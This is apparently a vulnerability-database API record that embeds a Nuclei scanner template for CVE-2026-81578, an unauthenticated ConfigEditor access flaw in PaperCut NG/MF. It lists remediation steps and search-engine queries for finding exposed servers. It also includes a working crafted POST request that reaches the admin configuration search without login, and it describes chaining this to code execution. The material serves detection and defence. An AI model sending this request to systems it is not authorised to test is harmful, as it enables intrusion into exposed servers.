{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-81578/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-81578/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-81578/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-81578/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-81578/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-81578"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-81578"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-81578.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-81578\n\ninfo:\n  name: PaperCut NG/MF <=26.0.4 - Unauthenticated ConfigEditor Access via Tapestry Complex-Direct\n  author: darses,DhiyaneshDk\n  severity: critical\n  description: |\n    PaperCut NG and PaperCut MF versions 24.x through 26.x contain an authentication bypass vulnerability in the Apache Tapestry-based web interface. By crafting a complex-direct service request that specifies the public Home page as the render target while invoking the privileged ConfigEditor page's form listeners, an unauthenticated remote attacker can search and modify server configuration options. PaperCut's access control validates the render page but fails to validate the component page, allowing full configuration access without authentication. When chained with CVE-2026-82078, an attacker reconfigures external user lookup to use a malicious JDBC URL whose initialization SQL evaluates arbitrary Groovy code, achieving unauthenticated remote code execution. This vulnerability is actively exploited in the wild.\n  impact: |\n    An unauthenticated remote attacker can bypass authentication to access the ConfigEditor administrative interface and modify arbitrary system configurations including database driver settings. When chained with CVE-2026-82078, full remote code execution is achievable with SYSTEM privileges on Windows or papercut user privileges on Linux.\n  remediation: |\n    Update to PaperCut NG/MF version 26.0.5, 25.0.13, or 24.1.10 or later. As an immediate mitigation, restrict network access to the PaperCut web management interface (default ports 9191 and 9192) to trusted administrative IPs only.\n  reference:\n    - https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/\n    - https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-81578\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82078\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-81578\n    epss-score: 0.0329\n    epss-percentile: 0.87936\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: papercut\n    product: papercut_ng,papercut_mf\n    shodan-query: http.title:\"PaperCut\"\n    fofa-query: title=\"PaperCut\"\n  tags: cve,cve2026,papercut,auth-bypass,rce,unauth,tapestry,kev,vkev\n\nvariables:\n  rand: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /app?service=page/Error HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<!-- Page: Error -->\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /app HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"<!-- Page: Home -->\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        POST /app?service=direct/{{rand}}/Home/ConfigEditor/quickFindForm HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/app\n\n        sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=server.name&doQuickFind=Go\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<!-- Page: Home -->\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100aedf5b644aca651051e64271735a3e57d85d9c8c7c7e6f244059402603fd10c202206fdc12bbd0b79d215b37af2d0e1f050aab8dc88cc116cde4cedaaba8be529113:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-81578"
}